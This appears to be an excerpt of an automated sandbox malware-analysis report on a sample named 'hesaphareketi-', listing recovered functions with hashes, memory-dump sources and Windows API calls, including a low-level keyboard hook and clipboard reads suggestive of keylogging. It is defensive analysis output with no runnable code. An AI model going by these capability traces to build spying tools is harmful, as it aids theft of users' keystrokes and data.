Opcode ID: 5a103b88e25d78aff9a657aa63b87ef02c2ccba88bf794ac3bce62f3667300d3
Instruction ID: 7e2e4c8962553142adf0b341329beae57aecf139ea28df1e49e5d74c22204a7e
Opcode Fuzzy Hash: 5a103b88e25d78aff9a657aa63b87ef02c2ccba88bf794ac3bce62f3667300d3
Instruction Fuzzy Hash: 5A22C435E102158FEBA4DB64CA806AEB7B2FF45314F208869D559EB384DB31DD41CFA2

Function 067F8FC8 Relevance: 1.6, APIs: 1, Instructions: 60COMMON

Download Yara Rule

APIs

SetWindowsHookExA.USER32(0000000D,00000000,?,?,?,?,?,?,?,?,?,067F95F0,00000000,00000000), ref: 067F9803

Memory Dump Source

Source File: 00000002.00000002.4193447280.00000000067F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_67f0000_hesaphareketi-.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: 0211594854e44fccb111ce7c1a1b54cf12f38c527d298f817286275554373332
Instruction ID: 3a1e44a8e87f860fe31e1fda63bf8eb48c8b01565e7e4141cce4466e8f7fb52f
Opcode Fuzzy Hash: 0211594854e44fccb111ce7c1a1b54cf12f38c527d298f817286275554373332
Instruction Fuzzy Hash: 7D2132B1D002098FCB54DF9AC844BEEFBF5AB88320F10842AE519A7350CB74A944CFA1

Function 068065D8 Relevance: .8, Instructions: 825COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4193494559.0000000006800000.00000040.00000800.00020000.00000000.sdmp, Offset: 06800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6800000_hesaphareketi-.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fc1243c2f466f9db7ecb58f89fc66940d07277fcf8217941b3ee0de71986c4c
Instruction ID: 0e0c6743ff0eaaeffb5cbf26a83adfb824baef4e5ebe7dcfbc2d0262a688d305
Opcode Fuzzy Hash: 2fc1243c2f466f9db7ecb58f89fc66940d07277fcf8217941b3ee0de71986c4c
Instruction Fuzzy Hash: 7D62A034E102058FEB94DB68D954BADBBF2EF84314F148969E505EB394EB35EC92CB40

Function 0680C178 Relevance: .6, Instructions: 635COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4193494559.0000000006800000.00000040.00000800.00020000.00000000.sdmp, Offset: 06800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6800000_hesaphareketi-.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f13438c95593e5044e4ace93bf97bf8f44157bc7930b27a0f279c26250dacd0
Instruction ID: 54f399aef3a405ef1185ca2032ccd97266c6290d82a20da8122ecc45894a2e37
Opcode Fuzzy Hash: 5f13438c95593e5044e4ace93bf97bf8f44157bc7930b27a0f279c26250dacd0
Instruction Fuzzy Hash: DF328034A102099FEFA4DF68D980BADB7B2FB88314F108925D505EB795DB31EC46CB91

Function 0680ACB0 Relevance: 10.4, Strings: 8, Instructions: 393
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 0680AE24
$^q, xrefs: 0680ADDD
$^q, xrefs: 0680AE30
$^q, xrefs: 0680AE7C
$^q, xrefs: 0680AE88
$^q, xrefs: 0680AE53
$^q, xrefs: 0680AE5F
$^q, xrefs: 0680ADD1

Memory Dump Source

Source File: 00000002.00000002.4193494559.0000000006800000.00000040.00000800.00020000.00000000.sdmp, Offset: 06800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6800000_hesaphareketi-.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-3823777903
Opcode ID: 36003c963622f88b1da098a61958ae2bb0616aaf3c9b8281b5a09a588456f6eb
Instruction ID: 77f4aa3ad89aff574b5e137ad4ec419b26d088503620680d1b376c3abafd3d58
Opcode Fuzzy Hash: 36003c963622f88b1da098a61958ae2bb0616aaf3c9b8281b5a09a588456f6eb
Instruction Fuzzy Hash: CCE17130E1030A8FEB99DF68D9906AEB7B6FF85304F108929D905DB395DB71D846CB81

Function 06809138 Relevance: 5.2, Strings: 4, Instructions: 231
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 068091A8
$^q, xrefs: 068091E3
$^q, xrefs: 068091EF
$^q, xrefs: 068091B4

Memory Dump Source

Source File: 00000002.00000002.4193494559.0000000006800000.00000040.00000800.00020000.00000000.sdmp, Offset: 06800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6800000_hesaphareketi-.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: cc4dd58c73a3396347d7dbb386ffdca626cf24b4f790167b5dc93ca8988a1d71
Instruction ID: e8e98e4b549d698e3d3e4ea991b7bc397541b45a8db017921dd89570242fa0f6
Opcode Fuzzy Hash: cc4dd58c73a3396347d7dbb386ffdca626cf24b4f790167b5dc93ca8988a1d71
Instruction Fuzzy Hash: 8C917130F0060A9FDF94DB64D9507AEB7F6AFC9204F108869C40DEB788EB709C468B91

Function 0680CF30 Relevance: 4.6, Strings: 3, Instructions: 804
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 0680D32F
$^q, xrefs: 0680D33B
$^q, xrefs: 0680D327

Memory Dump Source

Source File: 00000002.00000002.4193494559.0000000006800000.00000040.00000800.00020000.00000000.sdmp, Offset: 06800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6800000_hesaphareketi-.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q
API String ID: 0-831282457
Opcode ID: df065b6d88599a08a3f28978abdb9b2ff7c0e4851b9ada5c6de514f174b91295
Instruction ID: da89e3a54098c040e7979edbfdfb1f5e79108562b2400cf9d9a6b001b9816aed
Opcode Fuzzy Hash: df065b6d88599a08a3f28978abdb9b2ff7c0e4851b9ada5c6de514f174b91295
Instruction Fuzzy Hash: 26624334A1020A9FDB55EB68DA90A5EB7F2FF84304F208A29D015DF759DB71EC46CB84

Function 06804B58 Relevance: 3.9, Strings: 3, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\Ocq, xrefs: 06804D33
XPcq, xrefs: 06804CA9
fcq, xrefs: 06804B83

Memory Dump Source

Source File: 00000002.00000002.4193494559.0000000006800000.00000040.00000800.00020000.00000000.sdmp, Offset: 06800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6800000_hesaphareketi-.jbxd

Similarity

API ID:
String ID: fcq$XPcq$\Ocq
API String ID: 0-3575482020
Opcode ID: 25bc3a236e3d6532b75902c446f3c7b205df82b787df49c05d7d32a6fec38f7f
Instruction ID: 0df74a645208f6fcf86f48d153bb64920241c98f7a6b7949d807bea3c301b82c
Opcode Fuzzy Hash: 25bc3a236e3d6532b75902c446f3c7b205df82b787df49c05d7d32a6fec38f7f
Instruction Fuzzy Hash: 62616130E102199FEB559FA8C8547AEBAF2FF88304F20842AD509EB3D4DB758C458B91

Function 06809127 Relevance: 2.7, Strings: 2, Instructions: 170
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 068091A8
$^q, xrefs: 068091E3

Memory Dump Source

Source File: 00000002.00000002.4193494559.0000000006800000.00000040.00000800.00020000.00000000.sdmp, Offset: 06800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6800000_hesaphareketi-.jbxd

Similarity

API ID:
String ID: $^q$$^q
API String ID: 0-355816377
Opcode ID: 7b6001ec21145fbbb2481e956810e1a5987956b0ef7bd00d0b060446a3bc8bfe
Instruction ID: cc97f191315e321bc224f6defae408e7ef262d0170b66afe9c615e569dd85f36
Opcode Fuzzy Hash: 7b6001ec21145fbbb2481e956810e1a5987956b0ef7bd00d0b060446a3bc8bfe
Instruction Fuzzy Hash: 46519330F005099FEF94DB64D950BAE77F6EBC8248F10982AC50DDB789DA70DC428B92

Function 06804B49 Relevance: 2.7, Strings: 2, Instructions: 154
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

XPcq, xrefs: 06804CA9
fcq, xrefs: 06804B83

Memory Dump Source

Source File: 00000002.00000002.4193494559.0000000006800000.00000040.00000800.00020000.00000000.sdmp, Offset: 06800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6800000_hesaphareketi-.jbxd

Similarity

API ID:
String ID: fcq$XPcq
API String ID: 0-936005338
Opcode ID: 263d2995f349e51e976c07a99f80b6ea7da5060436d3bbc0559f53a5c6c28344
Instruction ID: 8561577bd2e1251d1ba577a8f35ea1b072c4cba29beb11712e8e866a36d8a395
Opcode Fuzzy Hash: 263d2995f349e51e976c07a99f80b6ea7da5060436d3bbc0559f53a5c6c28344
Instruction Fuzzy Hash: 15518331F102089FEB559FA5C854BAEBBF6FF88700F208529D605EB3D5DA748C458B51

Function 029FEA28 Relevance: 1.6, APIs: 1, Instructions: 131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.4189514329.00000000029F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_29f0000_hesaphareketi-.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f647879a2cba3087da6e5ce5723b5eb6dd56bb97f625512fcbaccb1de9ff910c
Instruction ID: 9c783f99a91a7807658bc6834adb32161e49cb53d4af85e303da4e8d4600ffb8
Opcode Fuzzy Hash: f647879a2cba3087da6e5ce5723b5eb6dd56bb97f625512fcbaccb1de9ff910c
Instruction Fuzzy Hash: CA411431E043998FCB54DF7AD8046AEBBF5EF89314F1485AAD644A7260DB74D840CBD1

Function 067F21F3 Relevance: 1.6, APIs: 1, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 067F230A

Memory Dump Source

Source File: 00000002.00000002.4193447280.00000000067F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_67f0000_hesaphareketi-.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 6d605890322c0af4f4fc6bcf3bb7f3e41d064ab7caa93a1853c709bc40528b07
Instruction ID: f2f9af47787a84778635a2a42c893912e6e0f466553db1d4f76a88207e33242e
Opcode Fuzzy Hash: 6d605890322c0af4f4fc6bcf3bb7f3e41d064ab7caa93a1853c709bc40528b07
Instruction Fuzzy Hash: 5551CFB1D10309DFDB14CFAAC884ADEBBB5BF48310F24812AE518AB211D7759985CF91

Function 067F21F8 Relevance: 1.6, APIs: 1, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 067F230A

Memory Dump Source

Source File: 00000002.00000002.4193447280.00000000067F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_67f0000_hesaphareketi-.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: d0206239dfc6f80f51dfca703dee6bf44578fdf0761da576d134bdc7c4ddb150
Instruction ID: badae8f45b675b94906716de9d56707ee36958588a69a3e8782535b044350d6b
Opcode Fuzzy Hash: d0206239dfc6f80f51dfca703dee6bf44578fdf0761da576d134bdc7c4ddb150
Instruction Fuzzy Hash: 5341CFB1D10309DFDB14CFAAC884ADEBBB5BF48310F64812AE518AB211D775A985CF91

Function 067F5B74 Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 067F7139

Memory Dump Source

Source File: 00000002.00000002.4193447280.00000000067F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_67f0000_hesaphareketi-.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: cf157a96180c9462d2c1b55b7c446b1a29cd9a6f4e9575a9773b0b6d08adde6a
Instruction ID: a678cf07bf33d0128de85428e863c8195151e9f334159ac925462ce945c53cba
Opcode Fuzzy Hash: cf157a96180c9462d2c1b55b7c446b1a29cd9a6f4e9575a9773b0b6d08adde6a
Instruction Fuzzy Hash: 9E4147B4A10208CFDB54CF99C888EAABBF5FB88314F24C459D518AB321C774A845CFA0

Function 067F79B4 Relevance: 1.6, APIs: 1, Instructions: 77comclipboardCOMMON

Download Yara Rule

APIs

OleGetClipboard.OLE32(?), ref: 067F7A48

Memory Dump Source

Source File: 00000002.00000002.4193447280.00000000067F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_67f0000_hesaphareketi-.jbxd

Similarity

API ID: Clipboard
String ID:
API String ID: 220874293-0
Opcode ID: babd03f69716629a2f6f24ee917d21de3b1459ecc60db3b3aceb246609358dc9
Instruction ID: 60ab50492d1f3447386ea00535207f2f3f4edf3ddfb3533f476fd5e331acc345
Opcode Fuzzy Hash: babd03f69716629a2f6f24ee917d21de3b1459ecc60db3b3aceb246609358dc9
Instruction Fuzzy Hash: 533122B0D01208EFDB54CFA9D984BDEBBF5AF48304F248059E504BB394DB74A985CBA5

Function 067F6D70 Relevance: 1.6, APIs: 1, Instructions: 74comclipboardCOMMON

Download Yara Rule

APIs

OleGetClipboard.OLE32(?), ref: 067F7A48

Memory Dump Source

Source File: 00000002.00000002.4193447280.00000000067F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_67f0000_hesaphareketi-.jbxd

Similarity

API ID: Clipboard
String ID:
API String ID: 220874293-0
Opcode ID: 8b1af968ad4fee385cb21ff4c2835fb262921b8771dbc857524b8318ec0d7888
Instruction ID: 52746de5b8e3a8cd808d86f482d5d0f8723f998e4b063a64afafbd84d23b7d50
Opcode Fuzzy Hash: 8b1af968ad4fee385cb21ff4c2835fb262921b8771dbc857524b8318ec0d7888
Instruction Fuzzy Hash: B73120B0D00208DFDB54DFA9D984B9EBBF5AF48304F248059E504AB390DBB4A985CFA5

Function 067F5DE0 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 067F5E6F

Memory Dump Source

Source File: 00000002.00000002.4193447280.00000000067F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_67f0000_hesaphareketi-.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: d6920a75ce234d9e0d97a7591dd7a1826fcaa7dd449c250904292e0c43dfa6e1
Instruction ID: f1a6ad84ac11ce32a180321c2b2e7ec5a02cf5b07dd1fe0dad79ce962cb0e20c
Opcode Fuzzy Hash: d6920a75ce234d9e0d97a7591dd7a1826fcaa7dd449c250904292e0c43dfa6e1
Instruction Fuzzy Hash: 5A21E3B59102589FDB10CFA9D984AEEBFF5FB48310F14801AE954A7350D378A945CF61

Function 067F5DE8 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 067F5E6F

Memory Dump Source

Source File: 00000002.00000002.4193447280.00000000067F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_67f0000_hesaphareketi-.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 128ed6ff77020152f7bfe4e4d6340c1d556fe0deaf94c0b8bea46aba9e53f40d
Instruction ID: a0aecaad0acda7e999d0252a16712635e5e053bdc533ade5f1a6bcc4e8478c61
Opcode Fuzzy Hash: 128ed6ff77020152f7bfe4e4d6340c1d556fe0deaf94c0b8bea46aba9e53f40d
Instruction Fuzzy Hash: EE21C4B59002589FDB10CF9AD984ADEFBF5FB48310F14841AE954A7350D378A944CFA5

Function 067F9783 Relevance: 1.6, APIs: 1, Instructions: 60COMMON

Download Yara Rule

APIs

SetWindowsHookExA.USER32(0000000D,00000000,?,?,?,?,?,?,?,?,?,067F95F0,00000000,00000000), ref: 067F9803

Memory Dump Source

Source File: 00000002.00000002.4193447280.00000000067F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_67f0000_hesaphareketi-.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: 7bf0da054530a2e49d0cf6beca0a1d9fd396bd02339f5194fb74b49f7b0c3dda
Instruction ID: 6a01d9c24fbf4ffd23acec2ced2652929d1351252b587e33e71ef5b674637a77
Opcode Fuzzy Hash: 7bf0da054530a2e49d0cf6beca0a1d9fd396bd02339f5194fb74b49f7b0c3dda
Instruction Fuzzy Hash: E32134B1D002098FCB14CF9AC844BEEFBF5AF88320F10842AE558A7250C775A944CFA1

Function 029FE190 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNELBASE(?,?,?,?,?,?,?,?,?,029FEA7A), ref: 029FEB67

Memory Dump Source

Source File: 00000002.00000002.4189514329.00000000029F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_29f0000_hesaphareketi-.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 641baaa35969f095c11dbe74bbc7f7bd39bbbc3dbca3db6fe9a78b22ac01d7b3
Instruction ID: 93296c4e78f2d0e3934edefed84273aa4b8b64379dda9773a15dcb9c21894ace
Opcode Fuzzy Hash: 641baaa35969f095c11dbe74bbc7f7bd39bbbc3dbca3db6fe9a78b22ac01d7b3
Instruction Fuzzy Hash: DB1142B1C002699BCB10DF9AC444BEEFBF4EF08320F10816AE918B7250D378A944CFA5

Function 029FEAF8 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNELBASE(?,?,?,?,?,?,?,?,?,029FEA7A), ref: 029FEB67

Memory Dump Source

Source File: 00000002.00000002.4189514329.00000000029F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_29f0000_hesaphareketi-.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: cfcd94bb6522fe0b679aafe61e398388011af769e261ce52e04823dc5b5ae611
Instruction ID: fa709ed79cc358e4c0d7ae26a9148db3053186019bd3bf6c544d0a64b9d69fd1
Opcode Fuzzy Hash: cfcd94bb6522fe0b679aafe61e398388011af769e261ce52e04823dc5b5ae611
Instruction Fuzzy Hash: ED1142B1C002699BCB10CFAAC448BDEFBF4AF48324F14816AD958B7250D378A940CFA5

Function 067F0118 Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 067F11B6

Memory Dump Source

Source File: 00000002.00000002.4193447280.00000000067F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_67f0000_hesaphareketi-.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 9d9d54f0888378c0830718b258fa2a14e366ca1825aa0b41d117e968c2639eac
Instruction ID: 2f49b5950a9704bf1e429b1ef49d5ebbfaa2f91075da9c0c9efd2387db758cde
Opcode Fuzzy Hash: 9d9d54f0888378c0830718b258fa2a14e366ca1825aa0b41d117e968c2639eac
Instruction Fuzzy Hash: 9D11F0B5C00249CFDB10DF9AC844ADEFBF5AB48214F50842AD919B7310C379A545CFA5

Function 067F114B Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 067F11B6

Memory Dump Source

Source File: 00000002.00000002.4193447280.00000000067F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_67f0000_hesaphareketi-.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: f75049c8ab8485b3a6516fd32c1607b2dd48de008e0f7929ac8c6e6228f15e29
Instruction ID: e84a55b53a83e9d1a7dfa00d53a9e3ef2853355198f18b9a9f3e1a246af70f02
Opcode Fuzzy Hash: f75049c8ab8485b3a6516fd32c1607b2dd48de008e0f7929ac8c6e6228f15e29
Instruction Fuzzy Hash: 4411F0B5C00249CFCB10DF9AC848ADEFBF5AB88214F54842AD518A7310C379A545CFA1

Function 067F6C59 Relevance: 1.5, APIs: 1, Instructions: 47comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 067F78CD

Memory Dump Source

Source File: 00000002.00000002.4193447280.00000000067F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_67f0000_hesaphareketi-.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: e08ec15d0e751d68e2239463e2082d76ba9739c386adbcea44af1c161a75cfda
Instruction ID: aa713b69c5f48ef184a8dd6b11fa8edc5d62b63ece1b0fe7e3305d15558fe2f3
Opcode Fuzzy Hash: e08ec15d0e751d68e2239463e2082d76ba9739c386adbcea44af1c161a75cfda
Instruction Fuzzy Hash: D311F2B58143488FDB20DF9AD488B9EBBF4EB48320F148469D559A7310C378A944CFA5

Function 067F6C5C Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 067F78CD

Memory Dump Source

Source File: 00000002.00000002.4193447280.00000000067F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_67f0000_hesaphareketi-.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 043748d5dfa44c5ace95335950ae6b6a7c7bb5761314a129ed0df455af474119
Instruction ID: 9c9013da2427d881be221485f729d9c9f216f4464412c72c0a4685464d8b5b4f
Opcode Fuzzy Hash: 043748d5dfa44c5ace95335950ae6b6a7c7bb5761314a129ed0df455af474119
Instruction Fuzzy Hash: D61115B19003488FDB20DF9AD488BDEFBF4EB48320F108469D519A7350C378A944CFA5

Function 067F6A24 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,?,?,?,?,?,?,?,?,067F7385), ref: 067F740F

Memory Dump Source

Source File: 00000002.00000002.4193447280.00000000067F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_67f0000_hesaphareketi-.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 9f5e4bd4ab4aea4ef19eaf2b6307613053d90da8904a320886fea437a2821595
Instruction ID: 1c1571237e0286da5c4f086b2ceaa7aa36af6a5570316569410f33ba88d702ec
Opcode Fuzzy Hash: 9f5e4bd4ab4aea4ef19eaf2b6307613053d90da8904a320886fea437a2821595
Instruction Fuzzy Hash: A21106B1800258CFDB10DF9AD444BDEFBF4EB48324F208469D658A7350D774A944CFA5

Function 067F73A8 Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,?,?,?,?,?,?,?,?,067F7385), ref: 067F740F

Memory Dump Source

Source File: 00000002.00000002.4193447280.00000000067F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_67f0000_hesaphareketi-.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: c7693a6dcdf32cde3c5592b0266e9858eb2585d96e1c72042b0d185a71e9553f
Instruction ID: c43d507d3cf9228e2bf14467be0f40225c7030d96f2ea94d1453acc85ab75425
Opcode Fuzzy Hash: c7693a6dcdf32cde3c5592b0266e9858eb2585d96e1c72042b0d185a71e9553f
Instruction Fuzzy Hash: A611F2B18002588FCB20DF9AD844BEEFBF4EB48324F20846AD558A7350D779A944CFA5

Function 067F7871 Relevance: 1.5, APIs: 1, Instructions: 45comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 067F78CD

Memory Dump Source

Source File: 00000002.00000002.4193447280.00000000067F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_67f0000_hesaphareketi-.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 56d953b31290f940c2aee7fd7988f4e70ab00b8dd62b2665cdef1d0354991a43
Instruction ID: f96a2572742df48be875b396b884cdb958232fb968690af68eacb2d4a1be6b7d
Opcode Fuzzy Hash: 56d953b31290f940c2aee7fd7988f4e70ab00b8dd62b2665cdef1d0354991a43
Instruction Fuzzy Hash: 2A11F2B58002498FDB20DFAAD444BDEFBF8AB48324F108559D558A7210C378A544CFA5

Function 0680DAA5 Relevance: 1.4, Strings: 1, Instructions: 119COMMON

Download Yara Rule

Strings

PH^q, xrefs: 0680DC01

Memory Dump Source

Source File: 00000002.00000002.4193494559.0000000006800000.00000040.00000800.00020000.00000000.sdmp, Offset: 06800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6800000_hesaphareketi-.jbxd

Similarity

API ID:
String ID: PH^q
API String ID: 0-2549759414
Opcode ID: 5a4b6b2b9c5ad514529ad93a1e710853ebc3dda3de1ca706a10099f266c65e60
Instruction ID: da20ca068ed3dda5c31f7f7884635c3e42f9c4e0b4b66971bf30a9d507354277
Opcode Fuzzy Hash: 5a4b6b2b9c5ad514529ad93a1e710853ebc3dda3de1ca706a10099f266c65e60
Instruction Fuzzy Hash: 8641D630E003099FEFA5DFA5C85469EBBB2FF85304F244929D905EB284DB75D846CB51

Function 0680DAB8 Relevance: 1.4, Strings: 1, Instructions: 117COMMON

Download Yara Rule

Strings

PH^q, xrefs: 0680DC01

Memory Dump Source

Source File: 00000002.00000002.4193494559.0000000006800000.00000040.00000800.00020000.00000000.sdmp, Offset: 06800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6800000_hesaphareketi-.jbxd

Similarity

API ID:
String ID: PH^q
API String ID: 0-2549759414
Opcode ID: 4b887048bb3aa197626024d95f473c97b7c43736845200f6904bd9fbed021ad7
Instruction ID: 0c4cc6aa33f35e84868f7f83db430872148a3b0055caacfbb4b18b8510a7714d
Opcode Fuzzy Hash: 4b887048bb3aa197626024d95f473c97b7c43736845200f6904bd9fbed021ad7
Instruction Fuzzy Hash: 1141B430E003099FEBA5DFA5C9546AEBBB2FF85304F204929D505E7384DB75D846CB81

Function 068021BD Relevance: 1.4, Strings: 1, Instructions: 108COMMON

Download Yara Rule

Strings

PH^q, xrefs: 0680230B

Memory Dump Source

Source File: 00000002.00000002.4193494559.0000000006800000.00000040.00000800.00020000.00000000.sdmp, Offset: 06800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6800000_hesaphareketi-.jbxd

Similarity

API ID:
String ID: PH^q
API String ID: 0-2549759414
Opcode ID: 1abffed4af65d42d6329cc825fed811706c3264a951c622e6793164fd3b8f684
Instruction ID: 38553d6deb66891b9db35469a9950d382736135a45e321b80196b6ded639d738
Opcode Fuzzy Hash: 1abffed4af65d42d6329cc825fed811706c3264a951c622e6793164fd3b8f684
Instruction Fuzzy Hash: C7311530B102019FEB999B74D92866E7BE2BB89304F108439D406DB394EF79CD46CBA5

Function 068021D0 Relevance: 1.4, Strings: 1, Instructions: 105COMMON

Download Yara Rule

Strings

PH^q, xrefs: 0680230B

Memory Dump Source

Source File: 00000002.00000002.4193494559.0000000006800000.00000040.00000800.00020000.00000000.sdmp, Offset: 06800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6800000_hesaphareketi-.jbxd

Similarity

API ID:
String ID: PH^q
API String ID: 0-2549759414
Opcode ID: b4e8375789cac8983f691873568cf6581f097c7fd1822a820cdd2c8b4eba1d5a
Instruction ID: 43d8fa62f6a153f24597a7baa8b5b4a8dd1c4620854ea208bab205ec7ad6b501
Opcode Fuzzy Hash: b4e8375789cac8983f691873568cf6581f097c7fd1822a820cdd2c8b4eba1d5a
Instruction Fuzzy Hash: 4A31F630B102059FEB999BB4D92866F7BE3AB89204F104838D406DB394DF75DD45CBA5

Function 0680B208 Relevance: .3, Instructions: 298COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4193494559.0000000006800000.00000040.00000800.00020000.00000000.sdmp, Offset: 06800000, based on PE: false

